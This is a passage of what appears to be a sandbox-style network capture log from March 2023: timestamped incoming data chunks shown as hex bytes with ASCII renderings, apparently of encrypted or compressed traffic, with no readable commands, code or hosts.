2023-03-17 14:07:54 UTC	176	IN	Data Raw: a6 ec 89 79 01 55 a5 f8 2a ad 61 d6 87 bd 1f 2a 8d 2c 58 e3 7d 88 e7 a5 b1 04 55 d3 94 cb 97 e3 9a 64 4d 6e b2 5e 3f b3 ab 1a 24 ab 3e 55 18 cd 28 6b 1b 09 08 d0 83 bf 36 eb 11 ce 31 f7 4f a3 70 0e 3b a9 4f ef d8 35 38 39 88 ff 09 79 b3 4a 86 3e 54 84 59 52 6a ab 5d ec 33 b5 e8 70 e6 f1 96 60 3f 6d 87 3a fc f6 24 3e 95 8f ac 5b 88 e8 97 31 e6 36 47 f9 9a 33 4a 06 44 36 73 72 d0 b2 0e cd a5 a4 d5 ec 88 02 4d 61 14 63 83 17 ac 57 32 f7 09 96 2a d6 23 85 52 f2 98 0d 41 9f 3d 1e 3f d4 3d fb 1c d9 27 e1 ec 7e 4c 25 85 20 7c 34 fb b7 0c f7 67 29 56 d3 7a af d0 8e 17 82 3c 1a 88 23 9f 87 c8 e0 36 89 cb 20 0c ab 15 eb 33 38 f7 f0 ed b7 36 43 9b 47 e2 0d f6 58 e4 88 c7 8a ff 4b 65 f1 8e 06 f9 d3 ff ae 27 ef ee 15 7b e2 f5 de 10 30 68 18 18 56 d5 dd c6 34 15 9d 1c Data Ascii: yUa,X}UdMn^?$>U(k61Op;O589yJ>TYRj]3p`?m:$>[16G3JD6srMacW2*#RA=?='~L% \|4g)Vz<#6 386CGXKe'{0hV4
2023-03-17 14:07:54 UTC	192	IN	Data Raw: cb 18 1a 90 78 4f fb 0f 8f c5 fb 4c 2e db 71 50 f7 d6 c8 20 3d a0 52 47 8b 08 41 8f f8 a6 c3 e0 97 a1 fd e9 53 31 df 7f eb ec 51 d1 50 5e 77 12 c6 f4 77 0d 4d b5 94 58 d0 9a 3d a6 b9 ca 7f b2 f5 d5 9e 62 8f 66 2b bb ce ac 96 7a 06 4e bd 1f cc 40 58 83 be ad 3d 75 b2 30 1f 34 63 66 6b ad 4e c2 c0 dd e9 2f 79 2e 52 eb 8b 31 05 e5 dd a5 a8 6d b6 c3 cc 78 ab 5e c0 b3 1f 11 58 51 fe bc e7 3e 7e bc 70 c5 60 05 ac 06 4c 2e 52 c6 55 ed 2a 0c eb 3a 45 e4 0d 96 62 ca db f5 20 0e 43 50 56 ab 96 d1 a3 31 8c 3f 11 db 06 f7 3d 66 c0 45 a2 1e 71 4f 82 69 d5 3f a5 57 33 09 d5 84 2e 7c d0 49 a6 6a 60 80 2d 44 08 90 0a 35 e6 97 3e 12 15 9b 1c 7b ac a7 cc ec d8 0a 8b ef 69 9d cf a7 46 91 3e a6 a6 fe dd 2c 9b 65 e1 e3 c1 4e 2e c0 1f e9 28 79 c1 59 9a 6b 05 c3 d9 11 a2 8f fa Data Ascii: xOL.qP =RGAS1QP^wwMX=bf+zN@X=u04cfkN/y.R1mx^XQ>~p`L.RU*:Eb CPV1?=fEqOi?W3.\|Ij`-D5>{iF>,eN.(yYk
2023-03-17 14:07:54 UTC	208	IN	Data Raw: 77 5d 68 cb b9 fa df a2 d7 de e4 62 a4 40 1e 1d ec af d3 2a fc 69 ce 94 e8 6a be 4c 02 fb 42 be dc 13 b7 9c 58 b5 72 9e b4 ff 67 92 98 14 6b 2d c0 af 44 b3 3b 25 74 73 91 be c2 c0 f2 c8 6e 68 e2 72 19 ad 21 f5 7c 74 d1 82 8e dd d1 d7 25 08 28 87 f8 00 13 42 1d 7f 08 7b 63 95 14 31 ba cc 6a 00 cc cf 35 00 8d e4 ce 14 c1 32 f1 5b 9b 26 14 ff 45 66 26 de 89 a0 c8 d6 16 a2 b0 89 05 9c 9d 1f 58 32 ec 8b 7f 05 28 4a 89 ea ac e6 fd d6 21 0b 0b 0a 7f df 1e 18 5f 27 67 d6 3a 2d 33 39 39 59 24 1d fb 9e 45 f4 32 8b d0 51 78 7b 06 0f e3 a8 9b 17 13 74 36 ec ff 44 90 f0 5a 0e 7a fc 28 f4 fc c7 ee 14 23 59 56 ad 11 d9 50 88 fd e8 8c ea 84 a0 1a 83 45 9d a3 88 48 5d 54 46 c5 2c 2c 22 82 4e 65 b9 3c 0b 1f a8 c7 0c a0 f0 34 bf 9a a7 d0 76 c3 0a 25 e4 a8 fa 24 d9 fd 51 11 Data Ascii: w]hb@*ijLBXrgk-D;%tsnhr!\|t%(B{c1j52[&Ef&X2(J!_'g:-399Y$E2Qx{t6DZz(#YVPEH]TF,,"Ne<4v%$Q
2023-03-17 14:07:54 UTC	224	IN	Data Raw: 90 f1 73 45 1e eb 5a a7 1b dc a0 53 32 98 ab c5 ae c4 47 f1 3a bc ef 6c 6d 3e 00 fe ef 1f bf 3c d6 9e b2 48 ca 3d 41 9b 0e 3f 9c 75 95 db 07 4a 63 83 dc 18 60 9e 22 3c da ea 36 a7 86 08 61 63 cb 33 55 78 83 75 6d 8e 0d 11 6f 7c 1c b6 22 e1 54 8a 17 d8 0f 33 d3 2f 87 38 8b 53 1a 07 07 86 f7 31 dd 3f 1c f5 c7 c9 a0 ff 0c 08 ae 38 ac 5f aa 0b 6f 0d 51 00 51 ea 6f 81 82 c1 9c 86 de 10 17 e8 3f b6 ec 79 81 ce 4b f2 bc 8f c1 fd 7a 50 15 73 76 30 cd ba 89 c6 14 fe e8 03 08 fc 40 9c ac 58 2e 3c dd 89 f1 83 7e 03 ff 42 84 a3 36 f9 47 dd df 1c 53 88 47 10 0b 2b 87 a6 36 f4 08 84 ca ef 7f fa f6 ba 09 4c 45 2e 96 ea de 08 94 ab cc a5 df df a9 59 fd ae fa a3 f4 3a 05 57 a6 77 e3 6b 1c 40 a5 e3 73 06 7d 97 ff 88 20 49 02 40 f6 8a 95 f3 99 90 ef 71 9e db e5 f5 96 30 f5 Data Ascii: sEZS2G:lm><H=A?uJc`"<6ac3Uxumo\|"T3/8S1?8_oQQo?yKzPsv0@X.<~B6GSG+6LE.Y:Wwk@s} I@q0
2023-03-17 14:07:54 UTC	240	IN	Data Raw: 97 0f de 44 7b dc 2b fb fc 8f 96 bd 36 7e c5 f1 d9 22 17 92 38 31 49 f2 e6 77 3f dc f2 c3 eb fb 8c e6 a4 35 13 91 2c 0b 5a 83 55 51 c5 14 00 5e 89 4a 72 88 00 3d 9a 02 0d 31 a5 d9 05 cd ef 05 d0 a3 25 35 80 0a bc 40 c4 a8 25 a2 0b 41 13 bb a6 f4 ba 4d 1a 49 57 b5 86 3d 3a ed 31 e3 fb cf 85 9a 7f b2 d0 b2 40 ab 35 8c 03 64 ca ca 84 e1 0b 2a e9 77 24 15 a9 a3 73 0b c2 cc ec e1 c0 fe 70 a1 96 c9 91 dc 34 0e 81 e1 d4 bb c2 fa 10 ae 56 c9 40 05 2e e3 a5 6c 56 a2 3c 73 bf ef e6 68 61 cc 49 b8 1b cf 41 09 76 6f f6 7f 91 23 5e 49 d3 66 a9 8b ef cf 00 9d 73 f7 5e f3 58 11 82 33 e0 50 02 12 5b 89 44 2f fa f1 44 52 02 14 60 7a b4 d0 c0 c9 d8 56 7c ab 60 b7 98 04 20 08 d8 af 0d c7 9d fa 3f ab 23 b7 64 25 ea 10 f4 e0 d2 ff 8f 08 99 86 05 ac e2 74 65 01 b8 9d 40 c9 f6 Data Ascii: D{+6~"81Iw?5,ZUQ^Jr=1%5@%AMIW=:1@5d*w$sp4V@.lV<shaIAvo#^Ifs^X3P[D/DR`zV\|` ?#d%te@
2023-03-17 14:07:54 UTC	256	IN	Data Raw: b8 6d 7e 19 96 3b b6 ec 42 eb f3 be 81 0d 0c a8 f2 73 17 89 e0 30 af 38 9d b6 46 d4 f7 d0 88 f0 7a f9 86 b3 a9 c3 4c 7b 37 bf 2b 30 85 b8 e9 3b b5 90 69 f7 66 e8 84 3e 5e bf e3 88 e4 8a f4 56 22 5e bd 5c c1 74 1a e4 f1 88 17 04 f9 36 8d 26 86 20 51 52 ed fb d4 b1 81 b5 72 e8 f2 e1 46 09 11 e5 32 cc b3 7b 32 40 f7 89 d4 42 e0 39 a6 ed 9a 24 c3 54 d9 f4 7d 3f 41 c2 2a 1a d5 f1 f7 7a 92 25 0b 10 77 03 2e a3 18 17 1f 69 9c 3b 2d 22 50 23 dd d0 21 7e 99 e1 f3 d8 a9 37 70 80 67 72 96 f5 95 db 0c ff 6c 0d 0b 7e 24 d3 cf f2 88 37 60 aa fa 8d 36 3c 99 bd f6 cf 34 b5 b1 fa 2d ab ab 96 b5 32 2e 7b 80 de 55 4c a9 52 dd 46 cf 99 9b 61 7f a2 c2 7d 2b 08 42 ee 79 11 ae 59 46 3e 43 f9 50 3b 4a d5 61 99 f3 df 60 a3 ba 55 a1 99 a5 a9 36 3e 3d 35 e8 19 f1 ac 09 ec c9 9b 5f Data Ascii: m~;Bs08FzL{7+0;if>^V"^\t6& QRrF2{2@B9$T}?A*z%w.i;-"P#!~7pgrl~$7`6<4-2.{ULRFa}+ByYF>CP;Ja`U6>=5_
2023-03-17 14:07:54 UTC	272	IN	Data Raw: 29 4e 26 19 f8 d1 33 56 34 3b 20 14 0e 1b f7 8f 12 fc a4 b6 0c 4f 61 24 ce f7 7e 35 57 79 0b 7e fc a1 43 97 aa b4 5d c1 a5 d5 03 2d ba af 6e 6f 04 e1 4b ac b5 5f 45 31 5d a0 a6 f2 12 7d de d1 ac 49 7a 01 5c 47 cc 11 27 af cd a1 f9 f4 72 6f b8 14 46 5b 48 58 83 2c f3 9b aa ec a1 6c 00 64 e4 99 30 15 ac 0f d1 b1 77 89 1c 20 03 22 5f 97 dd f3 d9 c1 10 76 61 63 48 0a 54 ad c4 be 28 01 d7 7a 72 c6 b1 75 a0 2a e6 d9 db 30 ca 7f f5 09 ec 40 c7 69 bf d0 a0 2c f9 56 9f 60 08 5c 6c e8 fd 90 38 e6 93 eb 05 fc 12 1e ca 66 2a 9b 11 ce a1 85 70 93 98 4c 41 44 7f 95 1c af d0 53 79 db 91 93 08 24 9b 3a 89 5a d4 39 9b fd 78 28 39 a7 cb 6d b1 47 df 00 84 e7 fc 5c 95 c7 ff 10 83 b1 79 d8 b4 3b 90 8e 48 eb 7a 36 26 b2 6d 33 ee 01 9a d6 9a 90 89 44 2c a4 a9 48 04 cf 0e 17 37 Data Ascii: )N&3V4; Oa$~5Wy~C]-noK_E1]}Iz\G'roF[HX,ld0w "_vacHT(zru0@i,V`\l8fpLADSy$:Z9x(9mG\y;Hz6&m3D,H7
2023-03-17 14:07:54 UTC	288	IN	Data Raw: b9 e5 b9 e3 cf 5d 65 49 1c 69 f0 0b 10 d3 e9 1e 47 6a 5a 3e c0 4c 4d 19 ec 3f 4c c1 1d c1 86 a9 3b ef a4 6a b8 26 78 95 29 6c ec 56 f3 6f cd d7 27 69 dd 02 a8 fc a0 33 1f 90 72 67 28 df 9c fc 0d b6 a2 98 26 ff 7a eb 78 f4 c1 4b 8c 06 9a 39 fd ef 98 67 39 0e 0d 18 be 02 07 ec b0 5c 3d 5b fe 04 8f 64 cd 1f 7a b6 3a 24 b0 ae e7 2c f0 8c 76 6c 00 81 82 4e 33 3f ab 4b 0a c7 60 c3 0d b3 f6 0e 33 39 94 2b dd e9 3a db d4 8e 9e 71 fa 8f c8 8b 86 c7 d3 bd e9 8b 52 fc f7 39 d1 e1 f7 1a db d3 a8 3d e0 1b 69 1e e3 09 de cc a3 65 23 0d da 55 04 55 fb ee 5d 8b 9d 0b 67 7a af 4f 60 16 81 98 30 f1 f4 6b e7 33 95 e8 4b ab ee 7d 3e dc dd 21 ec 77 c3 2c af 19 15 47 f6 06 cc 66 e7 01 c2 93 90 27 71 ce c4 69 bd 71 f3 b3 5e 1a 1e 85 80 bb 5a 52 3c ff b1 5d f5 ee 91 54 e9 05 26 Data Ascii: ]eIiGjZ>LM?L;j&x)lVo'i3rg(&zxK9g9\=[dz:$,vlN3?K`39+:qR9=ie#UU]gzO`0k3K}>!w,Gf'qiq^ZR<]T&
2023-03-17 14:07:54 UTC	304	IN	Data Raw: 71 39 e4 b2 06 9f 16 b0 07 96 f7 cb fd c7 18 17 57 e4 ce 14 c9 bb 80 b8 2a c8 c4 2f 2b 3f 91 a7 41 6c c9 08 f1 06 a2 e2 91 75 ff 42 fd 43 a7 6f d5 35 98 89 1d ac 75 e2 df 2d a9 7a 39 bd af 3e ad de db 9f be bc 9a 9f 4d c9 fe 75 e4 9b a2 50 c9 9f 72 3d 90 0e 45 5b 35 4b 3d 58 fd 23 60 21 8e 0d 4f e3 41 32 51 8f a4 51 71 9f ed 82 5a 82 1c 13 48 15 dd 8b 0c 5b 31 c6 ef a9 ec c0 42 62 14 ea 91 4c 0c 4e 67 7b fd af c0 34 0e bc 83 d2 0e 5e 9a d1 9c 0a b2 b9 a2 16 9b b8 11 2a 62 2e f7 95 29 61 74 4f b4 91 b9 f5 fc e2 f4 54 7e 3d 1e 8b da 38 64 4f 18 8e 92 5d 37 8d d6 c3 2e 9e 84 58 72 10 1a cf a4 db d2 c0 6f 1d 4b 84 5c 0a 8a 58 68 07 f8 00 d6 6c 74 65 71 f3 46 02 a8 67 3e 3d 82 73 6a 60 c7 54 3b fa 35 8d 37 7d d9 8d 65 a3 95 40 59 44 b7 24 2d 01 84 f7 74 a6 89 Data Ascii: q9W/+?AluBCo5u-z9>MuPr=E[5K=X#`!OA2QQqZH[1BbLNg{4^b.)atOT~=8dO]7.XroK\XhlteqFg>=sj`T;57}e@YD$-t
2023-03-17 14:07:54 UTC	320	IN	Data Raw: 0b 18 42 c1 30 9b 58 c9 d9 03 f4 99 53 51 89 2e 67 43 a0 5f 54 50 5c fd b5 3d f4 85 d1 3f fd 9f f5 32 ce 5f 9c 9c 2c 83 c4 b3 b8 ac b5 47 77 e9 0c 42 61 8d fe 1a ab 2f 5d 1f 75 0e 73 00 0e 91 a0 a9 0b 08 bc 1a 47 15 a0 1c 1d 6f b3 b4 3c 56 7d 09 e7 85 13 cf 04 16 f8 b8 cb 1b 5c ba e1 3e 32 bb 49 50 55 d1 d1 22 69 4b 84 e0 ac 54 9d 74 d2 2d 32 ea 4a 7d 2d 39 61 db 46 f6 c6 cb 24 2f 79 a9 33 61 1e ef 91 ab 37 12 94 c8 22 8b 45 4e ad f6 18 04 06 39 cf ff b6 f4 74 ab 8d c1 8e 7c f9 1b c7 d7 ca 28 ec cc 81 ab f0 ad f3 43 80 f3 11 0c 0c ba 3d 21 30 21 45 ef 87 a7 09 c8 69 0e 90 7d 75 9a 02 c6 2b 03 7b f7 8e ff 0a a8 f7 f5 ac a3 7c 20 66 c7 b2 75 5c d1 0d 3f a5 69 be 55 4e 4f 4f 60 56 e0 5a ab 3c 9e df 8a 1c b7 b3 af 66 4a 83 58 4f d6 b5 e9 f3 58 9c 75 6e 95 c5 Data Ascii: B0XSQ.gC_TP\=?2_,GwBa/]usGo<V}\>2IPU"iKTt-2J}-9aF$/y3a7"EN9t\|(C=!0!Ei}u+{\| fu\?iUNOO`VZ<fJXOXun
2023-03-17 14:07:54 UTC	336	IN	Data Raw: c6 c6 b4 a1 10 98 ef 2e 2a 20 5c 8a 86 7e 78 14 f0 92 14 e8 f3 53 45 c4 9e 19 f0 b9 59 ee 8d 5f a1 aa a0 11 5d fc ca 06 d4 12 6b ee f6 ff 48 a1 1c ae fe 13 09 b8 f9 ac 04 bf 34 20 55 c5 4d 9d 80 4f fe ba f7 99 c8 97 18 ba fb 44 3b 00 d7 16 35 e1 3f fd 19 cb 65 71 17 88 14 11 aa cd 52 81 03 5f 0c 3b f0 cf b0 fc 07 1c 0e c0 7a a3 45 2a fd a1 cc f9 2c b5 96 55 d1 cd 78 7e 72 6f 58 c8 8f ca e8 65 b9 77 89 9c 79 58 cf 72 e1 1e a8 cb cc 61 42 8c 19 d6 00 46 2e 55 53 e6 fa e3 ff 70 bb a9 d6 18 67 49 c0 e9 40 90 61 e7 f7 56 b6 37 f0 28 ab fa ad 84 dc aa 1e 26 8e cc ac c2 4e 8b 4c cf 94 38 46 b1 f8 d9 45 fe d8 47 58 85 58 ec d8 65 49 66 15 64 43 77 55 e1 31 bb 6f ab a4 a4 17 cb b6 af fb 46 50 69 f1 ee a9 a2 28 c1 00 49 fa 92 d3 5e 47 db 44 6e 7a a0 18 9c fb 26 4f Data Ascii: .* \~xSEY_]kH4 UMOD;5?eqR_;zE*,Ux~roXewyXraBF.USpgI@aV7(&NL8FEGXXeIfdCwU1oFPi(I^GDnz&O
2023-03-17 14:07:54 UTC	352	IN	Data Raw: c2 80 35 c0 bb 83 cc 1d 59 d6 31 7e 9c 9d 0d db c7 a7 23 86 1c 35 c4 26 7c 1f 57 0c b3 b2 9c ba f3 19 d6 13 54 7c f3 aa da 83 17 3b fe 84 4f 65 f3 8e b6 46 d5 3c 62 33 2a 89 f4 4f d0 40 8b 1e e1 aa e2 5c a4 a2 d0 34 31 5f 5e bd 01 38 73 22 75 17 a2 87 1b 97 f1 ca 31 60 5c 6a b8 96 f6 2d a7 ee 6c 56 86 3d 31 7a 3f 19 3c 53 39 e8 8d 51 59 9a dd 84 e9 fe 4d 41 ea 4b 2d 54 a8 9b 1d f0 19 d4 af 8f 6e f4 50 95 41 5e 05 70 69 fb 60 07 2a 4b 8d 6d 0f 8f 61 fa 33 d5 44 d7 a4 d2 78 e6 24 65 98 12 b8 fc e5 38 68 1f 6a c8 1a fb c6 50 2d 80 16 f4 41 d8 dc 56 ad 43 89 bd 1e 37 f4 d8 18 7b 61 a5 44 70 6f c0 46 34 f6 5d a2 33 31 c7 2f 96 08 a5 df 17 3c 68 bc 22 2b 70 4a cd ec b1 0a 9a 6a 0a 92 56 97 1f 5d bb 21 a4 73 5f 26 32 eb 38 2c 1e b5 f9 6a 93 4f 76 e6 31 a1 26 36 Data Ascii: 5Y1~#5&\|WT\|;OeF<b3O@\41_^8s"u1`\j-lV=1z?<S9QYMAK-TnPA^pi`Kma3Dx$e8hjP-AVC7{aDpoF4]31/<h"+pJjV]!s_&28,jOv1&6
2023-03-17 14:07:54 UTC	368	IN	Data Raw: ca ac 57 0c ef b4 4e 88 90 77 7b 7a 35 5d ac e7 ee ed 93 63 28 9a 61 9f 97 cc df b4 c0 3b 02 05 cf ee 14 75 76 92 ca eb 2a 65 e9 31 e2 6d df 99 8b 63 a9 3c 44 05 2a f1 8d 8f ce 0a fd 47 f3 25 7b a4 9a 86 cb e6 81 1b fe 23 51 ad 5c 12 4c 1e 3d 82 15 31 99 d4 2f 7b 45 52 6c 35 30 63 3c a6 1d 46 d9 7e a8 e1 ac 68 b2 7e 58 07 e1 ae 6f 69 be fc a0 65 02 16 32 96 4f 77 1d 16 d9 ed 45 27 60 a1 9d ea 23 b2 c1 12 cb 43 7b e0 2a 81 03 1d 22 a4 47 4e fe 01 2f c2 72 42 27 7f 87 8b c5 c8 d6 cb ee 3b a4 fc 84 f3 f2 3e e1 6f d9 5d ce 06 22 b5 64 50 5b da 39 cd e3 1a b0 cd 56 af 1f 8e 6a 85 c6 b5 ff 12 fc 75 0d 4a ca 16 fc d9 8b d5 38 b2 ce 8b 38 19 17 d2 0c 43 88 68 76 27 f8 8a f3 0f 8d d5 1e af 8d 98 e1 42 4c ed e3 80 55 24 07 dd 4f b4 36 0c a9 f8 a6 e7 70 cb 00 4c e1 Data Ascii: WNw{z5]c(a;uve1mc<DG%{#Q\L=1/{ERl50c<F~h~Xoie2OwE'`#C{*"GN/rB';>o]"dP[9VjuJ88Chv'BLU$O6pL
2023-03-17 14:07:54 UTC	384	IN	Data Raw: 5b 0b aa b3 7d 0f f3 0c 50 17 33 ca 26 cd d3 ed 10 e1 fe 82 b5 98 e5 23 f2 92 73 b4 4a 0c 36 98 0b 35 15 44 ff 53 52 94 61 43 d3 4a 8b f9 d9 72 3a fc 84 b5 25 b8 22 8f 4e ba fe f9 16 b3 65 ce 9c 88 a9 41 7d 33 6c 9a 2d a2 8c c0 ea 83 07 ba 26 a5 85 b2 1e fc 8f 71 6b 27 03 ce fa 81 38 bd 1a b7 60 15 17 b3 4e 64 11 3a 33 2a c6 c5 c7 65 31 b3 34 be 8d f1 d7 a9 c2 cd d6 46 bc 78 ef 50 bc 06 15 59 00 6b de b0 64 ca 17 81 7c 01 6b 5b c2 c8 d9 85 a1 af 01 46 9e 77 87 45 75 80 ca 2d 65 0d f1 aa db 94 8a 63 e4 7c a7 c4 fb a6 91 1f 46 2f 9c ae 36 e0 44 9d 54 f7 b8 01 38 bc 01 2f 65 bd e0 b7 43 05 47 30 ed cc d2 e4 7a 3b 1a ee fd ef 15 06 20 52 68 12 c0 f5 e8 9a a2 c9 cf 00 a5 cf e3 87 9c b9 bf 72 a1 82 11 8e d7 a1 b3 35 36 83 dd 3b fa 65 7f 33 ed 9d 51 f1 5b bb bf Data Ascii: [}P3&#sJ65DSRaCJr:%"NeA}3l-&qk'8`Nd:3*e14FxPYkd\|k[FwEu-ec\|F/6DT8/eCG0z; Rhr56;e3Q[
2023-03-17 14:07:54 UTC	400	IN	Data Raw: 03 83 aa 2b cf 1d 2f 8b 11 d5 09 93 54 ad 94 6b e4 05 ec aa ef bd b7 c4 7d fb e9 a4 77 b7 6d 1d 52 1c f0 06 6b fd 38 0e ae 6f 17 8b fe 8c 8b 0d 45 ed cf 38 ca f7 e5 1b 32 97 a5 ed a2 3a 08 83 77 da 42 49 00 f3 27 22 9f 99 62 dd 95 38 06 16 57 e8 b5 c6 2d e8 d8 8e 9c cd 87 4a ca 4c 0a d9 da aa de 9b 8e 75 7d d8 ec 87 4c 03 78 b0 8e b7 2f cd 32 4c 9b e3 11 c1 f0 79 78 a7 37 c1 2c b0 9c 12 69 dc 10 16 b0 81 51 36 7a a2 fe fa 63 76 2e e5 f7 87 41 39 f3 e2 8d fc f3 2b ef 53 05 88 b7 9a a7 e5 26 c8 61 1c a3 97 f6 70 09 79 eb b9 1c 34 ca c6 65 c0 3f 69 82 62 29 b5 cb c1 c0 66 3c f5 63 8d b4 bf 2c 2e 5e 78 36 6c aa e5 82 c4 d9 6f fc ba 1d ba 88 02 67 12 5b 30 8d 13 01 cc 04 10 26 d0 b3 3d 07 61 c2 01 1d b4 fb 7d 65 2f 86 ae 49 40 5e 0f be b0 b9 36 0b 38 7c a1 cf Data Ascii: +/Tk}wmRk8oE82:wBI'"b8W-JLu}Lx/2Lyx7,iQ6zcv.A9+S&apy4e?ib)f<c,.^x6log[0&=a}e/I@^68\|
2023-03-17 14:07:54 UTC	416	IN	Data Raw: df 1e c1 c5 de 6f 46 68 f3 d5 ed 81 ad ed 6b 25 a2 47 f7 ca 86 d4 7c c1 d4 47 e5 9d 1a 0e 39 b9 b7 27 1f a5 93 6a 33 cd 30 66 b7 a4 80 82 0e b6 6e 25 3b ce aa 7e 4e 89 5c 99 82 f4 00 cb 7c 6b 2c 9b 84 a9 42 88 66 53 1e 24 9b c4 af 85 8f 24 27 d7 c8 c1 c4 ca 3f bc c4 f4 49 5d f7 64 4d f5 53 6d ca 14 f4 3f b5 1b 13 cf b5 00 54 bf 57 9a ed 4f 64 ec 92 55 8b f7 e2 aa fc b0 da ee 27 a7 a1 e3 70 a9 f5 8d 3e 9c d2 c8 db 35 99 58 77 49 ce f8 5f 4a 6b 8f df 10 00 ff 3f af d0 85 e9 70 21 45 bd 7b 4b f2 50 21 8c 84 4e 5d 02 2a cc 8e 0f fe dd b9 fa 42 70 a9 16 cd e3 f3 ac fb 90 00 a0 7a 83 06 d7 52 bb c8 e1 b5 1e 75 24 7f 43 90 ba 16 e2 70 50 2e 52 00 e9 14 15 50 19 d1 f4 59 0e 39 04 b0 14 f4 cf 91 67 9b 4b 35 bc ef f5 a6 b6 51 0a 52 10 d7 19 b4 df 58 4a cf 8d e3 a7 Data Ascii: oFhk%G\|G9'j30fn%;~N\\|k,BfS$$'?I]dMSm?TWOdU'p>5XwI_Jk?p!E{KP!N]*BpzRu$CpP.RPY9gK5QRXJ
2023-03-17 14:07:54 UTC	432	IN	Data Raw: 38 13 d5 e2 b4 93 91 fe 6f 55 8d 54 d7 51 8b 0e 46 4c 12 76 bc 1e 38 4e e3 35 f8 58 6d 42 33 60 3b 79 d1 f7 06 d9 56 a9 b0 39 3a 30 dd 8c c3 50 f2 f9 51 63 64 93 9d 3c 84 5d 0b fb 4b f5 e5 9e a8 a1 91 4e 75 29 18 dd 8a 6c 76 74 1f 4b 8c ad 1c e4 c6 b2 4d 2c 9d d9 7f a2 bf c7 87 bb f8 de cb 41 f3 ef 6c c0 4e 21 82 96 64 c8 b5 e9 10 d8 5c 69 cd 07 63 d7 98 60 d2 0f 18 61 70 97 1e 9d 17 e9 2b e5 f3 24 0a d9 04 1b 75 18 01 c1 f9 ba cc 4c ea 0a bb 9c 09 9a 71 d9 56 96 ae 0b 33 fa 1a 87 0c 55 cf ee 10 cd 0e 2d aa 82 2d 45 25 b4 b2 7b 44 c0 11 9e f4 b5 f8 bc 5c ae 81 06 c0 52 7e db cf a2 b8 20 99 e4 48 0e ae dd 72 2e 01 5a 6a f0 94 4a 70 12 84 5a 79 ba f4 f1 1c 08 71 0b 7e b0 54 5e 2e 5e 96 39 d9 1b d0 7a 3c 74 a2 1e fb 32 ff 21 ec 3f 74 d2 d2 cb b0 81 bf f0 07 Data Ascii: 8oUTQFLv8N5XmB3`;yV9:0PQcd<]KNu)lvtKM,AlN!d\ic`ap+$uLqV3U--E%{D\R~ Hr.ZjJpZyq~T^.^9z<t2!?t
2023-03-17 14:07:54 UTC	448	IN	Data Raw: ad b8 53 b5 ca f1 84 2a 81 fa 82 0f 75 23 61 24 77 14 bf 3e 63 aa c8 c4 6e d2 c2 b1 3b 16 1c 2c 5c e7 25 b6 92 cb 3c 93 d4 e0 d6 4d 88 ba ec 6f 7d 13 10 6e e1 4d 54 e9 26 0e 2a 90 c9 fe 9f 32 a8 73 0b 63 49 70 ea ea 13 2f 88 85 64 a5 15 1b 17 fe 2c 4f a0 ee 4c dd c9 ec a4 b4 42 6a ba 30 a1 31 7b b0 2c 6c a1 cb ca 2f 51 b0 b6 15 ee 44 82 3a 09 98 19 ba 16 c6 5c 45 50 b2 18 a7 9e 1e 0b 0f 8c ed 56 e4 32 75 5f d3 29 a0 91 2a f7 c9 ab 50 a6 2a d7 21 54 9f 5a fa 01 5f 66 d9 72 24 58 d6 30 87 76 b4 dc 21 f0 7d 77 9d e4 6c 7d 23 b4 e2 9c 86 b4 c9 fd 20 89 d2 05 3b c3 e5 eb 2f a5 b4 ea 45 d2 6f 51 01 79 50 05 87 53 08 f8 13 0c fd 37 ee bc cd 57 23 09 2b 3f 03 0a a1 8b 34 e5 e3 71 96 9a ca 11 85 a4 db 47 64 f3 aa 1f 4c 6d 96 ce c1 74 1e 59 60 ca 3e fd 9a 1a 89 c8 Data Ascii: Su#a$w>cn;,\%<Mo}nMT&2scIp/d,OLBj01{,l/QD:\EPV2u_)P!TZ_fr$X0v!}wl}# ;/EoQyPS7W#+?4qGdLmtY`>
2023-03-17 14:07:54 UTC	464	IN	Data Raw: 01 55 5c 79 fd 0c f0 80 ed 9f f1 20 4c d1 0d cd 56 65 ff 38 37 8f e5 29 3b a7 16 93 57 07 39 b7 f3 92 7f 61 c0 9c 2c 7b dc f0 37 94 e1 48 dc 3d a8 10 65 78 72 97 d5 48 16 65 5e 07 fc 2b d0 32 45 65 bc 9f 08 a1 5c e9 ad b4 00 e8 2c 6e 3c 3e 40 39 6a 44 4a 4d 2d ab fe 25 2a de 05 0c f0 31 22 53 38 1f 09 76 a6 b7 ed b3 a0 44 07 99 a0 e4 f0 2c 85 56 ca 97 2f b1 23 e7 08 2c 09 02 b6 9a 05 8b 57 dc 49 22 53 69 9f c0 f6 b9 c4 a0 97 c9 6b f0 d7 ca da f8 8b 4d f5 7e 8d 3e 1c af 82 e8 6f e5 36 99 f6 75 c7 00 54 57 23 6a 4c 3d c9 7b 88 06 23 b3 b9 40 ba 79 d0 a1 80 7f 39 f9 95 15 7c 2e ba 86 9b b7 18 45 a4 86 ca 99 c1 5f 91 a4 c2 5f dd 80 47 18 c1 0d 6d 2b ef d3 4f 4f cc 50 21 f6 40 91 4d 9a 30 3e e5 c5 2b b7 35 ce 2f 3b c6 25 19 0c 69 90 e0 64 85 67 96 35 ea 03 25 Data Ascii: U\y LVe87);W9a,{7H=exrHe^+2Ee\,n<>@9jDJM-%*1"S8vD,V/#,WI"SikM~>o6uTW#jL={#@y9\|.E__Gm+OOP!@M0>+5/;%idg5%
2023-03-17 14:07:54 UTC	480	IN	Data Raw: 98 51 ea 48 22 3c b4 cd d1 02 13 d3 17 b5 6d 8a 2d 07 9d b1 fb 0f 19 9c c4 8b a0 80 b4 f6 71 b4 be f3 f6 14 76 5b 7c a0 43 51 54 81 bc 40 82 f2 bd 73 cd d8 da b9 17 d6 d1 fe 75 e3 59 93 a2 3c 22 1d 81 89 72 5e 29 9a 24 b0 d5 c0 a7 ab 61 1d 1a 07 a4 33 c1 cc 58 1a f3 b7 9c a9 c4 a9 6c 43 74 50 35 00 5f 85 29 0d 72 a0 b4 55 bd 3e c5 18 6e 69 0a 92 15 4e 16 01 a2 21 87 ec ff 79 f4 55 2c e1 9d 37 ad 2b 0b 46 1c ce e9 97 cf 87 1a 7c c4 f2 a2 e5 c1 28 d5 cc 12 bd d5 f3 a8 73 25 30 05 e7 20 3f c4 8a 35 63 f4 cb e3 f0 b7 e5 a8 6b 65 b9 a9 ef 38 e4 89 65 d9 e4 81 a1 df 9b 81 a4 5f 0f 2a c4 61 48 df 2f a2 cb 5b ec 24 da 16 17 a3 3d 49 86 16 7b c5 24 a8 88 54 bd 66 dc 19 07 7b f2 b8 58 06 65 d9 58 2d 0c 92 d7 90 9d 65 17 ef 2d ed dd fb b1 44 ab a9 08 e4 ff e9 c1 da Data Ascii: 